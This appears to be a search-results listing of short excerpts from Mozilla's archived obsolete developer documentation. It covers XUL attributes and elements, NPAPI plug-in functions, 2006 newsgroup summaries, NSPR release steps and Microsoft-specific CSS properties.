... enumkeys enumvaluenames getvalue getvaluenumber getvaluestring iskeywritable keyexists setrootkey setvalue setvaluenumber setvaluestring valueexists winregvalue constructor other information return codes see complete list examples trigger scripts and install scripts code samples file.macalias file.windowsshortcut install.adddirectory install.addfile installtrigger.installchrome installtrigger.startsoftwareupdate windows install ...
XTech 2005 Presentations - Archive of obsolete content
rich web: svg and canvas in mozilla - robert o'callahan today's web browsers offer somewhat limited graphics capabilities to web developers.
... advances in hardware, especially graphics processors, offer the potential for far richer graphics in interactive applications.
... to realize this potential in web applications, browsers must expose rich new graphics apis to web content.
... the mozilla project will meet this challenge with two major new features to be delivered in firefox 1.1: integrated svg and a new canvas html element.
disabled - Archive of obsolete content
« xul reference home disabled type: boolean indicates whether the element is disabled or not.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... in the case of form elements, it will not be submitted.
... do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case.
eventnode - Archive of obsolete content
« xul reference home eventnode type: one of the values below indicates where keyboard navigation events are listened to.
... parent keyboard navigation is captured at the parent of the tabbox.
... window keyboard navigation is captured at the window level.
... document keyboard navigation is captured at the document level.
onpopuphidden - Archive of obsolete content
example: <menupopup id="top" onpopuphidden="console.log('the onpopuphidden method of id=top was called.');"> <menuitem label="item 1"/> <menuitem label="item 2"/> <menu id="submenu1" label="submenu 1"> <menupopup id="submenu1-popup"> <menuitem label="submenu1 item 1"/> <menuitem label="submenu1 item 2"/> </menupopup> </menu> <menu id="submenu2" label="submenu 1"> <menupopup id="submenu2-popup"> <menuitem label="submenu2 item 1"/> <menuitem label="submen...
...u2 item 2"/> </menupopup> </menu> <menupopup/> with the above structure, the onpopuphidden method of <menupopup id="top"> will be called every time either <menupopup id="submenu1-popup"> or <menupopup id="submenu2-popup"> are hidden.
... this results in the method repeatedly called as the user runs the mouse up and down the menu opening the sub-menus.
... you can test for the current popup actually being hidden with: <menupopup id="top" onpopuphidden="if(this.state != 'open'){console.log('the onpopuphidden method of id=top was called.');};" > ...
popup.position - Archive of obsolete content
this value can be specified either as a single word offering pre-defined alignment positions, or as 2 words specifying exactly which part of the anchor and popup should be aligned.
... if specified as 2 words, the value indicates which corner or edge of the anchor (the first word) is aligned which which corner of the popup (the second word).
... the anchor value (ie, the first word) can be one of topleft, topright, bottomleft, bottomright, leftcenter, rightcenter, topcenter or bottomcenter.
... the popup value (ie, the second word) can be one of topleft, topright, bottomleft or bottomright.
popupalign - Archive of obsolete content
noneno aligntopleftalign to the top left cornertoprightalign to the top right cornerbottomleftalign to the bottom left cornerbottomrightalign to the bottom right cornersyntax<element popupalign="none | topleft | topright | bottomleft | bottomright"/> example<element id="edit-context" popup="editor-popup" popupanchor="topleft" popupalign="bottomright"/> notesthe popupalign attribute can be used to specify which corner of the popup content is tied to the originating point.
...the example below shows how to create the traditional buttons with attached left mouse menus that exist in the 4.x communicator product.
...this point (either directly under the mouse or attached to one of the four corners) is called the originating point.
... by default the popup content appears with its top left point located directly underneath the point at which the user's mouse goes down (on tooltips the content is displaced by the height of the mouse cursor).
Attribute (XUL) - Archive of obsolete content
« xul reference home acceltext accessible accesskey activetitlebarcolor afterselected align allowevents allownegativeassertions alternatingbackground alwaysopenpopup attribute autocheck autocompleteenabled autocompletepopup autocompletesearch autocompletesearchparam autofill autofillaftermatch autoscroll beforeselected buttonaccesskeyaccept buttonaccesskeycancel buttonaccesskeydisclosure buttonaccesskeyextra1 buttonaccesskeyextra2 buttonaccesskeyhelp buttonalign buttondir buttondisabledaccept buttonlabelaccept buttonlabelcancel buttonlabeldisclosure buttonlabelextra1 buttonlabelextra2 buttonlabelhelp buttonorient buttonpack buttons checked checkstate clicktoscroll class closebutton closemenu coalesceduplicatearcs collapse collapsed ...
...extmenu contenttooltip context contextmenu control crop curpos current currentset customindex customizable cycler datasources decimalplaces default defaultbutton defaultset description dir disableautocomplete disableautoselect disableclose disabled disablehistory disablekeynavigation disablesecurity dlgtype dragging editable editortype element empty emptytext deprecated since gecko 2 enablecolumndrag enablehistory equalsize eventnode events expr firstdayofweek firstpage first-tab fixed flags flex focused forcecomplete grippyhidden grippytooltiptext group handlectrltab height helpuri hidden hidechrome hidecolumnpicker hideheader hideseconds hidespinbuttons highlightnonmatches homepage href icon id ignoreblurwhilesearching igno...
...recase ignoreincolumnpicker ignorekeys image inactivetitlebarcolor increment index inputtooltiptext insertafter insertbefore instantapply inverted iscontainer isempty key keycode keytext label lastpage lastselected last-tab left linkedpanel max maxheight maxlength maxpos maxrows maxwidth member menu menuactive min minheight minresultsforpopup minwidth mode modifiers mousethrough movetoclick multiline multiple name negate newlines next noautofocus noautohide noinitialfocus nomatch norestorefocus object observes onbeforeaccept onbookmarkgroup onchange onclick onclosetab oncommand oncommandupdate ondialogaccept ondialogcancel ondialogclosure ondialogextra1 ondialogextra2 ondialoghelp onerror onerrorcommand onextra1 onextra2 ...
... oninput onload onnewtab onpageadvanced onpagehide onpagerewound onpageshow onpaneload onpopuphidden onpopuphiding onpopupshowing onpopupshown onsearchcomplete onselect ontextcommand ontextentered ontextrevert ontextreverted onunload onwizardback onwizardcancel onwizardfinish onwizardnext open ordinal orient pack pageid pageincrement pagestep parent parsetype persist persistence phase pickertooltiptext placeholder popup position predicate preference preference-editable primary priority properties querytype readonly ref rel removeelement resizeafter resizebefore rows screenx screeny searchbutton searchsessions searchlabel selected selectedindex seltype setfocus showcaret showcommentcolumn showpopup size sizemode sizetopopup ...
close - Archive of obsolete content
if an event handler is placed on the window element, it can be prevented to close (see example below).
...the unload event should be used to capture all attempts to unload the window.
... general info specification xul interface event bubbles no cancelable no target window default action the window is closed.
... cancelable read only boolean whether the event is cancellable or not.
List of commands - Archive of obsolete content
list of commands (grouped by type) nsdomwindowcontroller commands (generally legal when there is a selection): cmd_copy - copy a selection to the clipboard cmd_cut - cut a selection into the clipboard cmd_paste - paste a selection from the clipboard cmd_selectall cmd_selectnone cmd_copylink cmd_copyimagelocation cmd_copyimagecontents cmd_scrolltop cmd_scrollbottom cmd_scrollpageup cmd_scrollpagedown cmd_scrolllineup cmd_scrolllinedown cmd_scrollleft cmd_scrollright cmd_selectcharprevious cmd_selectcharnext cmd_wordprevious cmd_wordnext cmd_selectwordprevious cmd_selectwordnext cmd_beginline cmd_endline cmd_selectbeginline cmd_selectendline cmd_selectlineprevious cmd_selectlinenex...
...t cmd_selectpageprevious cmd_selectpagenext cmd_selectmovetop cmd_selectmovebottom editor commands (legal when the focus is anywhere where you can type text): cmd_paste - paste a selection from the clipboard cmd_pastequote cmd_delete cmd_deletecharbackward cmd_deletecharforward cmd_deletewordbackward cmd_deletewordforward cmd_deletetobeginningofline cmd_deletetoendofline cmd_scrolltop cmd_scrollbottom cmd_movetop cmd_movebottom cmd_selecttop cmd_selectbottom cmd_linenext cmd_lineprevious cmd_selectlinenext cmd_selectlineprevious cmd_charprevious cmd_charnext cmd_selectcharprevious cmd_selectcharnext cmd_beginline cmd_endline cmd_selectbeginline cmd_selectendline cmd_wordprevious cmd_wordnext cmd_selectwordprevious cmd_selectwordnext cmd_scrollpageup c...
...md_scrollpagedown cmd_scrolllineup cmd_scrolllinedown cmd_movepageup cmd_movepagedown cmd_selectpageup cmd_selectpagedown other commands the following list other commands (prefixed by cmd_ or browser:) which have not been categorized here yet (though they are in the alphabetical list below): http://lxr.mozilla.org/seamonkey/sou...baroverlay.xul http://lxr.mozilla.org/seamonkey/sou...t/navigator.js http://lxr.mozilla.org/seamonkey/sou...toroverlay.xul http://lxr.mozilla.org/seamonkey/sou...onaltoolbar.js http://lxr.mozilla.org/seamonkey/sou...rceoverlay.xul http://lxr.mozilla.org/seamonkey/sou...extoverlay.xul http://lxr.mozilla.org/seamonkey/sou...lityoverlay.js http://lxr.mozilla.org/seamonkey/sou...oomoverlay.xul http://lxr.mozilla.org/seamonkey/sou...toroverlay.xul ht...
...tp://lxr.mozilla.org/seamonkey/sou...ark.properties http://lxr.mozilla.org/seamonkey/sou...kmarks-temp.js http://lxr.mozilla.org/seamonkey/sou.../bookmarks.xml http://lxr.mozilla.org/seamonkey/sou...rksoverlay.xul http://lxr.mozilla.org/seamonkey/sou...okmarkstree.js list of commands (listed alphabetically) browser:addbookmark browser:addbookmarkas browser:addgroupmarkas browser:back browser:editpage browser:find browser:findagain browser:findprev browser:forward browser:home browser:managebookmark browser:open browser:openfile browser:print browser:printpreview browser:savepage browser:searchinternet browser:sendpage browser:uploadfile cmd_bm_copy cmd_bm_cut cmd_bm_delete cmd_bm_expandfolder cmd_bm_export cmd_bm_find cmd_bm_import cmd_bm_managefolder cm...
Property - Archive of obsolete content
« xul reference accessible accessibletype accesskey align allnotifications allowevents alwaysopenpopup amindicator applocale autocheck autofill autofillaftermatch boxobject browsers builder builderview buttons canadvance cangoback cangoforward canrewind checked checkstate child children classname clickselectsall clientheight clientwidth collapsed color columns command commandmanager completedefaultindex container contentdocument contentprincipal contenttitle contentview contentvieweredit contentviewerfile contentwindow contextmenu control controller controllers crop current currentindex currentitem currentnotification currentpage currentpane currentset currenturi cust...
...omtoolbarcount database datasources date dateleadingzero datevalue decimalplaces decimalsymbol defaultbutton defaultvalue description dir disableautocomplete disableautocomplete disableautoselect disabled disablekeynavigation dlgtype docshell documentcharsetinfo editable editingcolumn editingrow editingsession editor editortype emptytext deprecated since gecko 2 enablecolumndrag eventnode firstordinalcolumn firstpermanentchild flex focused focuseditem forcecomplete group handlectrlpageupdown handlectrltab hasuservalue height hidden hideseconds highlightnonmatches homepage hour hourleadingzero id ignoreblurwhilesearching image increment inputfield inverted is24hourclock ispm issearchi...
...ng iswaiting itemcount label labelelement lastpermanentchild lastselected left linkedpanel listboxobject locked markupdocumentviewer max maxheight maxlength maxrows maxwidth menu menuboxobject menupopup min minheight minresultsforpopup minwidth minute minuteleadingzero mode month monthleadingzero name next nomatch notificationshidden object observes onfirstpage onlastpage open ordinal orient pack pagecount pageid pageincrement pageindex pagestep parentcontainer palette persist persistence placeholder pmindicator popup popupboxobject popupopen position predicate preferenceelements preferencepanes preferences priority radiogroup readonly readonly ref resource res...
...lement properties dom:element.attributes dom:element.baseuri dom:element.childelementcount dom:element.childnodes dom:element.children dom:element.clientheight dom:element.clientleft dom:element.clienttop dom:element.clientwidth dom:element.clonenode dom:element.firstchild dom:element.firstelementchild dom:element.lastchild dom:element.lastelementchild dom:element.localname dom:element.namespaceuri dom:element.nextelementsibling dom:element.nextsibling dom:element.nodename dom:element.nodetype dom:element.nodevalue dom:element.ownerdocument dom:element.parentnode dom:element.prefix dom:element.previouselementsibling dom:element.previoussibling dom:element.scrollheight dom:element.scrollleft dom:element.scrolltop dom:element.scrollw...
XML Assignments - Archive of obsolete content
however, you cannot use a expression that returns a number in the query, as the query must return dom nodes as results.
... in this case, we use an expression that returns the nodes as in earlier examples, and use some additional syntax of the query to get the length of the names.
...(in this case, the number of xml node siblings in the document, not the number of real siblings the people have, clearly the people in the datasource aren't actually siblings).
... naturally, the number of siblings will be the same for all children, but you could imagine a more complex query expression that generated nodes where this wasn't actually the case.
Using multiple DTDs - Archive of obsolete content
normally you have a single dtd (document type definition) to localize a specific xul file.
... but there are situations where you want to use multiple dtds, for example to localize common widgets used in all your xul files, additionally to the ones specific to the file.
... single dtd to make strings in your xul file localizable, you normally add a dtd declaration at the beginning of the file like this: <!doctype window system "chrome://myextension/locale/mainwindow.dtd"> where "window" is the local name of the document (root) element.
... assuming you have an entity called somebutton.label defined in mainwindow.dtd, you can access the entity like this: <button id="somebutton" label="&somebutton.label"> multiple dtds if you want to use multiple dtds with your xul file, you can simply list all of the dtds inside your dtd declaration: <!doctype window [ <!entity % commondtd system "chrome://myextensions/locale/common.dtd"> %commondtd; <!entity % mainwindowdtd system "chrome://myextension/locale/mainwindow.dtd"> %mainwindowdtd; ]> you can now access the entities declared in the dtds as shown above.
XUL Reference - Archive of obsolete content
« xul reference « alphabetical list of all xul elements action arrowscrollbox assign bbox binding bindings box broadcaster broadcasterset button browser checkbox caption clicktoscroll colorpicker column columns commandset command conditions content datepicker deck description dialog dialogheader dropmarker editor grid grippy groupbox hbox iframe image key keyset label listbox listcell listcol listcols listhead listheader listitem member menu menubar menuitem menulist menupopup menuseparator notification notificationbox observes overlay page panel param popupset preference preferences prefpane prefwindow progressmeter query queryset radio radiogroup resizer richlistbox richlistitem row rows rule scale sc...
...abs template textnode textbox textbox (firefox autocomplete) textbox (mozilla autocomplete) timepicker titlebar toolbar toolbarbutton toolbargrippy toolbaritem toolbarpalette toolbarseparator toolbarset toolbarspacer toolbarspring toolbox tooltip tree treecell treechildren treecol treecols treeitem treerow treeseparator triple vbox where window wizard wizardpage categorical list of all xul elements « xul reference « windows window wizard wizardpage titlebar window structure --- menus and popups --- toolbars toolbar toolbarbutton toolbargrippy toolbaritem toolbarpallete toolbarseperator toolbarspring tabs and grouping tab tabbox tabpanel tabpanels tabs controls --- text and images label caption ...
... image lists --- trees --- layout --- templates --- scripting --- helper elements other xul lists dialog overlay page window wizard wizardpage preference preferences prefpane prefwindow browser tabbrowser editor iframe titlebar resizer statusbar statusbarpanel dialogheader notification notificationbox menubar menu menuitem menuseparator menupopup panel tooltip popupset toolbar toolbarbutton toolbargrippy toolbaritem toolbarpalette toolbarseparator toolbarset toolbarspacer toolbarspring toolbox tabbox tabs tab tabpanels tabpanel groupbox caption separator spacer button checkbox colorpicker datepicker menulist progressmeter radio radiogroup scale splitter textbox textbox (firefox autocomplet...
...ell listcol listcols listhead listheader richlistbox richlistitem tree treecell treechildren treecol treecols treeitem treerow treeseparator box hbox vbox bbox deck stack grid columns column rows row scrollbox action assign binding bindings conditions content member param query queryset rule template textnode triple where script commandset command broadcaster broadcasterset observes key keyset stringbundle stringbundleset arrowscrollbox dropmarker grippy scrollbar scrollcorner spinbuttons all attributes all properties all methods attributes defined for all xul elements style classes event handlers deprecated/defunct markup ...
XUL and RDF - Archive of obsolete content
this page was auto-generated because a user created a sub-page to this page.
... the implementation of the application object modelpurpose - the purpose of this document is two-fold.
...this section makes a technical argument both for having xul in the first place and for using rdf as the underlying implementation of xul's content model.
... the second section describes the xul/rdf architecture itself and outlines enhancements to the xul language in order to allow the markup language to reference local data and to indicate how and when it would like to be annotatable with local data.
bindings - Archive of obsolete content
examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, styl...
...it can be a variable reference, an rdf resource uri, or an rdf literal value.
... predicate type: uri the predicate or property to match.
...it can be a variable reference or an rdf resource uri.
commandset - Archive of obsolete content
in addition, this element can hold a command updater which is used to update commands when certain events occur.
...typically, this is used to update menu commands such as undo and cut based on when an event occurs.
...valid events are listed below, or you can use your own events.
... you can send a custom event by calling the updatecommands method of the command dispatcher.
content - Archive of obsolete content
cuando use un árbol con los atributos flags ("banderas"), establezca dont-build-content, ("no almacenar contenido"), use treeitem en su lugar.
... propiedades tag, uri ejemplos (no son necesarios) atributos inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width propiedades tag type: tag name this may be set to a tag name.
...thus, nested elements will not match because they are directly inside a treeitem.
...when a rule is evaluated, it scans through each resource in the rdf datasource looking for a match.
separator - Archive of obsolete content
attributes orient style classes groove, groove-thin, thin examples <separator class="groove-thin"/> attributes orient type: one of the values below used to specify whether the separator is a horizontal or vertical separator.
... horizontal the separator separates vertically placed elements.
... vertical the separator separates horizontally placed elements.
... inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, ...
toolbarpalette - Archive of obsolete content
the children of the toolbarpalette should be the complete list of toolbarbuttons and toolbaritems that can be added to the toolbar.
... do not add the various spacing items, as those are added automatically.
... you can add your own custom buttons to the firefox browser by using an overlay that overlays the toolbarpalette with the idbrowsertoolbarpalette.
... examples <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="toolbarpalette-button" class="toolbarbutton-class" label="&mylabel;" tooltiptext="&mytiptext;" oncommand="somefunction()"/> </toolbarpalette> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, ...
What XULRunner Provides - Archive of obsolete content
the goal of xulrunner is to provide a solution for deploying xul applications (primarily firefox and thunderbird), as well as providing an embedding mechanism.
...pcom networking gecko rendering engine dom editing and transaction support (no ui) cryptography xbl (xbl2 planned) xul svg xslt xml extras (xmlhttprequest, domparser, etc.) web services (soap) auto-update support (not yet complete) type ahead find toolbar history implementation (the places implementation in the 1.9 cycle) accessibility support ipc services for communication between gecko-based apps (not yet complete) storage/sqlite interfaces user interface features the following user interface is supplied by xulrunner, and may be overridden by embedders under certain circumstances: apis and user interface for installing, uninstalling, and upgrading xul applications.
...ontrol (windows only) (not yet complete) obsolete since gecko 7.0 nsview-based-widget (mac os x only) (not yet complete) the "maybe" list the following features have been discussed and may be included if developer time permits and code size is controlled: ldap support spellchecking support (with or without dictionaries provided) see bug 285977 core support for profile roaming (with application-specific extensibility) pyxpcom embedding (not yet complete) - but it does work, if you compile a custom build that includes the pyxpcom bindings and there is a working python available.
... what's out xulrunner will not supply: bookmarks or history ui (must be managed by the application/embedder) xforms (xforms will be available as an extension) ...
2006-10-13 - Archive of obsolete content
user questions about a open/saveas bug that already exisits: https://bugzilla.mozilla.org/show_bug.cgi?id=347230 installer for 2.0rc2 ehume gives the developers a thumbs up for the new installer for 2.0rc2 having a textfield where you can type in the installation directory.
...user was conservative on what libraries they used, but now they have a compile error and can't make sense of it.
...(user feels print belongs on the context menu along with back, reload, etc.) questions about programming for firefox a student questions how to create an extension that changes fonts, and how to capture website content before it is displayed.
... firefox add-on wanted user is inquiring if there is such an application to automatically save pieces of a webpage everytime is it updated.
2006-11-24 - Archive of obsolete content
he is receiving the following error: error: uncaught exception: [exception...
... "component returned failure code: 0x80570016 (ns_error_xpc_gs_returned_failure) [nsijscid.getservice]" nsresult: "0x80570016 (ns_error_xpc_gs_returned_failure)" location: "js frame :: chrome://modzilla/content/js/pkg_zillacom.js :: <top_level> :: line 1202" data: no] he is running xulrunner v1.8.0.4.
... announcements svg build dependency on cairo gfx on 11/22 november 21st: t rowley announced that: he will be landing his patch that starts the process of switching svg over to thebes (bug 354866).
... he stated that the goal here is that once the tests are set up we can do a gecko 1.8 baseline so that we know what our performance goals for gecko 1.9 are.
2006-10-06 - Archive of obsolete content
firefox 2 sign-off procedure localization team should begin intense qa as outlined here.
...test resumt will be found here another lightning localization update with some bad news difference has been located between sunbird_0_3_branch (for sunbird 0.3) and mozilla_1_8_branch.
... sunbird/lightning localization update you need to update your localization if you want your locale to ship with lightning 0.3 or sunbird 0.3.
... calendar localization update rc1 for sunbird 0.3 is out now and ready for testing.
2006-11-17 - Archive of obsolete content
discussions how to translate mozilla to a language called quiché how to translate mozilla to a language called quiché.
... how to start a localization how to start a localization po format usage discussion on how to make l10n easier due to expansion to 100 locales.
... quick builds for localisers (full or partial) discussion on moz-l10n-builder, which automates many of the functions required in localization process.
... link is located here.
2006-12-01 - Archive of obsolete content
firefox's use of this code has been removed but the windows dde shell integration code has been kept so that 3rd party apps depending on this code can stay working.
... jay patael calls for help getting the next update ff 1.5.x and 2.x.
... discussion november 29th gecko 1.9/gran paradiso status meeting other than annoucing the meeting, this thread discusses where else can info about what happens at the meetings be found (since the agenda often seems bare).
... mozilla.org staff, project drivers, and technical oversight mike connor starts a discussion about the need for a "buck stops here" group and the replacement of drivers@mozilla.org.
2006-11-10 - Archive of obsolete content
william vanderpol asks, regarding remote xul applications, if is it possible (or does it exist?) to have an extension that will allow chrome access to certain specified url's?
... james leigh points out that resources are available at o'reily, in the creating applications with mozilla section.
... benjamin smedberg has been "working on some xptcall refactoring which will allow us to expose xptcall via a frozen api (and c linkage)".
... he is looking for xptcall port maintainers to submit patches to bug 349002.
2006-12-01 - Archive of obsolete content
announcements introducing rhinoloader a byproduct of helma that extends java applications with rhino/js.
... it is basically a java classloader that creates classes from javascript files.
...a method that does the deleting with a native implementation that releases the resources held by the object as seen in this database interface: var mydbase = new pgsqlconnection; mydbase.connect("database"); mydbase.exec("select * from mytable where ..."); // use the result data - (native implementation function) mydbase.close() spidermonkey for server side inquiry about why javascript hasn't caught on for general server-side scripting.
...he states that javascript is powerful server-side scripting but it lacks in popularity since its only supported by netscape, lacks a wide range of libraries, minimal marketing support.
2006-11-03 - Archive of obsolete content
firefox table captions discussion on how ie displays captions depending on the size of the content while ff uses a default setting.
... captions in ff also exceed the table length and become hidden if it's surrounded by a bounding div element.
... a test case is pending.
... perf question (reflow branch) a look into bug #352367 and the mention of possibly reducing the number of times nsframe::intrinsicwidthoffsets is called for each cell within a table.
2006-11-24 - Archive of obsolete content
summary: mozilla.dev.apps.calendar - november 17 - november 24, 2006 announcements no meeting for this week.
... discussions about functions that display the events/tasks of the calendars in month view.
... proposal for (wcap) calendar subscription a proposal shows a possible integration into lightning.
... treating calendars as tags discussions concerning about the layout of calendar list in lightning/sunbird.
Browser-side plug-in API - Archive of obsolete content
this chapter describes methods in the plug-in api that are provided by the browser; these allow call back to the browser to request information, tell the browser to repaint part of the window, and so forth.
... the names of all of these methods begin with npn_ to indicate that they are implemented by the browser and called by the plug-in.
... warning: you must only call these from the main thread; calling them from other threads is not supported and may have unpredictable results.
... npn_destroystream npn_forceredraw npn_getauthenticationinfo npn_geturl npn_geturlnotify npn_getvalue npn_getvalueforurl npn_invalidaterect npn_invalidateregion npn_memalloc npn_memflush npn_memfree npn_newstream npn_pluginthreadasynccall npn_poppopupsenabledstate npn_posturl npn_posturlnotify npn_pushpopupsenabledstate npn_reloadplugins npn_requestread npn_setvalue npn_setvalueforurl npn_status npn_useragent npn_version npn_write ...
NPEmbedPrint - Archive of obsolete content
mac os: thprint unix: pointer to a npprintcallbackstruct.
... description the npp_print function passes a pointer to an npprint object (previously allocated by the browser) to the plug-in.
... unix the plug-in location and size in the npwindow are in page coordinates (720/ inch), but the printer requires point coordinates (72/inch).
... see also npfullprint, np_port, npp_print, npprint, npprintcallbackstruct ...
NPN_Evaluate - Archive of obsolete content
syntax #include <npruntime.h> bool npn_evaluate(npp npp, npobject *npobj, npstring *script, npvariant *result); parameters the function has the following parameters: npp the npp indicating which plugin instance's window to evaluate the script in.
...can't be null.
...description the script is evaluated in the context of the window that the calling plugin instance (the <tt>npp</tt> argument) is loaded in.
... note: the caller must call npn_releasevariantvalue() to release the returned value when it's no longer needed.
NPN_InvalidateRect - Archive of obsolete content
description before a windowless plug-in can repaint or refresh part of its drawing area, the plug-in must first invalidate the area with either npn_invalidaterect() or npn_invalidateregion().
... npn_invalidaterect() causes the npp_handleevent() method to pass an update event or a paint message to the plug-in.
... after calling this method, the plug-in receives a paint message asynchronously.
...to immediately send a paint message, the plug-in can call npn_forceredraw() after calling this method.
NPN_InvalidateRegion - Archive of obsolete content
description before a windowless plug-in can repaint or refresh part of its drawing area, the plug-in must first invalidate the area with either npn_invalidaterect() or npn_invalidateregion().
... npn_invalidateregion() causes the npp_handleevent() method to pass an update event or a paint message to the plug-in.
... if a plug-in calls this method, it receives a paint message later.
...to force a paint message, the plug-in can call npn_forceredraw() after calling this method.
NPN_InvokeDefault - Archive of obsolete content
syntax #include <npruntime.h> bool npn_invokedefault(npp npp, npobject *npobj, const npvariant *args, uint32_t argcount, npvariant *result); parameters the function has the following parameters: npp the npp indicating which plugin wants to call the default method on the object.
...when the caller no longer needs the result, it must call npn_releasevariantvalue() to release it.
...the result of the method invocation is returned through an npvariant result parameter.
... if the method invocation succeeds, npn_invoke() returns true, else false.
NPN_MemFree - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary deallocates a block of allocated memory.
... syntax #include <npapi.h> void npn_memfree (void* ptr); parameters the function has the following parameters: ptr block of memory previously allocated using npn_memalloc.
... description npn_memfree deallocates a block of memory that was allocated using npn_memalloc only.
... npn_memfree does not free memory allocated by any other means.
NPP_StreamAsFile - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary provides a local file name for the data from a stream.
... fname pointer to full path to a local file.
... description when the stream is complete, the browser calls npp_streamasfile to provide the instance with a full path name for a local file for the stream.
... npp_streamasfile is called for streams whose mode is set to np_asfileonly or np_asfile only in a previous call to npp_newstream.
RSS - Archive of obsolete content
really simple syndication (rss) is a popular html-like xml-based data format used for syndication.
...(some being based on rdf, but most only being based on xml.) nonetheless, rss is an extremely popular format that is used for syndicating news, blog posts, ipradio, and iptv, with an amazing amount of momentum.
... why well-formed web rss module is popular - syndicating your comments charles iliya krempeaux talks about the rss well-formed web module, why it is popular among some, and how it is used to link to your comments.
... atomic rss tim bray talks about using atom 1.0 as a micro format and extension module for rss 2.0; keeping rss 2.0 as your sydication format but bringing in and using selected atom 1.0 elements.
NSPR Release Engineering Guide - Archive of obsolete content
this paper is for engineers performing formal release for the netscape portable runtime (nspr) across all platforms.
... feature complete update ...pr/include/prinit.h with release numbers build all targets, debug and optimized on all platforms using local directories run the test suite on all targets verify release numbers show up in binaries resolve testing anomalies tag the tree with nsprpub_release_x_y_z_beta beta release checkout a whole new tree using the tag from above build all targets, debug and optimized on all platforms using the command: gmake release mdist=<dir>/mdist build_number=vx.y.z [build_opt=1 | use_debug_rtl=1] copy the bits from mdist to /share/builds/components/nspr20/.vx.y.z 1 run explode.pl run the test suite on all targets, using binaries & headers from shipped bits resolve testing anomalies ta...
...g the tree with nsprpub_release_x_y[_z] release candidate checkout a whole new tree using tag (including fixes) tag the treey with nsprpub_release_x_y_z build all targets, debug and optimized on all platforms using the command: gmake release mdist=<dir>/mdist build_number=vx.y.z [build_opt=1 | use_debug_rtl=1] copy the bits from mdist to /share/builds/components/nspr20/.vx.y.z in /share/builds/components/nspr20/ run the following scripts: explode.pl rename.sh symlink.sh rtm bits rename the .vx.y.z directory to vx.y.z (remove the hidden directory 'dot').
... copy /share/builds/components/nspr20/vx.y.z/* to /share/systems/mozilla/pub/nspr/vx.y.z/ original document information author: larryh@netscape.com last updated date: september 20, 2000 1 copying files to /share/builds/components requires that one be logged on to a machine named "smithers" as user "svbld".
-ms-high-contrast-adjust - Archive of obsolete content
the -ms-high-contrast-adjust css property is a microsoft extension that gets or sets a value indicating whether to override any css properties that would have been set in high contrast mode.
... initial valueautoapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values auto indicates the applicable css properties will be adjusted as expected when the system is in high contrast mode.
... none indicates the applicable css properties will not be adjusted when the system is in high contrast mode.
... formal syntax auto | none specifications not part of any specification.
-ms-scroll-snap-points-x - Archive of obsolete content
the -ms-scroll-snap-points-x css property is a microsoft extension that specifies where snap-points will be located along the x-axis.
... initial valuesnapinterval(0px, 100%)applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values note: a <length-percentage> is a value that can be either a <length> or a <percentaqe>.
...(the -ms-scroll-snap-points-x property behaves identically to the -ms-scroll-snap-points-y property, but along the x-axis.) .container { overflow-x: auto; overflow-y: hidden; -ms-scroll-snap-type: mandatory; -ms-scroll-snap-points-x: snapinterval(0%, 100%); width: 480px; height: 270px; } .imagecontainer { -ms-scroll-chaining: chained; -ms-overflow-style: none; -ms-content-zooming: zoom; -ms-scroll-rails: none; -ms-scroll-limit-...
...x-min: 100%; -ms-scroll-limit-x-max: 500%; -ms-scroll-snap-type: proximity; -ms-scroll-snap-points-x: snaplist(100%, 200%, 300%, 400%, 500%); -ms-overflow-style: none; width: 480px; height: 270px; overflow: auto; } specifications not part of any specification.
-ms-scroll-snap-points-y - Archive of obsolete content
the -ms-scroll-snap-points-y css property is a microsoft extension that specifies where snap-points will be located along the y-axis.
... initial valuesnapinterval(0px, 100%)applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values note: a <length-percentage> is a value that can be either a <length> or a <percentaqe>.
...(the -ms-scroll-snap-points-y property behaves identically to the -ms-scroll-snap-points-x property, but along the y-axis.) .container { overflow-x: auto; overflow-y: hidden; -ms-scroll-snap-type: mandatory; -ms-scroll-snap-points-y: snapinterval(0%, 100%); width: 480px; height: 270px; } .imagecontainer { -ms-scroll-chaining: chained; -ms-overflow-style: none; -ms-content-zooming: zoom; -ms-scroll-rails: none; -ms-scroll-limit-...
